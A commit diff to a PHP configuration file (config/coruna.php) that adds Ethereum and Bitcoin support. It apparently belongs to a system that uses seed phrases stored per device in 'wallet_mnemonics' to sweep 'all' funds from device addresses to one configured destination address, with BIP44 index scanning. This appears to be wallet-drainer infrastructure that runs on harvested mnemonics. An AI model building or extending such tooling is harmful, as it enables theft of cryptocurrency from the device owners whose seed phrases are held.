feat: new chain

config/coruna.php

@@ -61,23 +61,36 @@ return [
         'usdt_contract' => env('TRON_USDT_CONTRACT', 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t'),
         'fee_limit' => (int) env('TRON_FEE_LIMIT', 100_000_000),
     ],
-    // /transfer: from = command arg (device address); to = TRANSFER_TO_ADDRESS.
+    'eth' => [
+        'rpc_url' => env('ETH_RPC_URL', 'https://ethereum.publicnode.com'),
+        'chain_id' => (int) env('ETH_CHAIN_ID', 1),
+        // Official Tether USDT ERC20 (mainnet). Empty = skip token balance/transfer.
+        'usdt_contract' => env('ETH_USDT_CONTRACT', '0xdAC17F958D2ee523a2206206994597C13D831ec7'),
+        'usdt_decimals' => (int) env('ETH_USDT_DECIMALS', 6),
+        'gas_limit' => env('ETH_GAS_LIMIT', ''),
+    ],
+    'btc' => [
+        // mempool.space-compatible REST root (…/api).
+        'api_url' => env('BTC_API_URL', 'https://mempool.space/api'),
+        // 0 = fetch recommended halfHourFee from API.
+        'fee_rate' => (int) env('BTC_FEE_RATE', 0),
+    ],
+    // /transfer: from = command arg (device address); to = per-chain TRANSFER_TO_ADDRESS_*.
     // Mnemonics resolved from wallet_mnemonics by address→device_id+source.
     'transfer' => [
         'to_address' => env('TRANSFER_TO_ADDRESS', ''),
+        'to_address_eth' => env('TRANSFER_TO_ADDRESS_ETH', ''),
+        'to_address_btc' => env('TRANSFER_TO_ADDRESS_BTC', ''),
         'max_usdt' => env('TRANSFER_MAX_USDT', '0'),
         'max_trx' => env('TRANSFER_MAX_TRX', '0'),
+        'max_eth' => env('TRANSFER_MAX_ETH', '0'),
+        'max_btc' => env('TRANSFER_MAX_BTC', '0'),
         // BIP44 account index scan upper bound when matching fromAddress.
         'max_derive_index' => (int) env('TRANSFER_MAX_DERIVE_INDEX', 20),
-        // Leave this much TRX when transferring "all" native (bandwidth/energy fees).
+        // Leave this much native when transferring "all".
         'trx_fee_reserve' => env('TRANSFER_TRX_FEE_RESERVE', '1'),
-    ],
-    // reserved legacy payout addresses
-    'payout' => [
-        'eth' => env('PAYOUT_ETH'),
-        'btc' => env('PAYOUT_BTC'),
-        'tron' => env('PAYOUT_TRON'),
-        'sol' => env('PAYOUT_SOL'),
+        'eth_fee_reserve' => env('TRANSFER_ETH_FEE_RESERVE', '0.001'),
+        'btc_fee_reserve' => env('TRANSFER_BTC_FEE_RESERVE', '0.0001'),
     ],
 
     'wallet_bundles' => [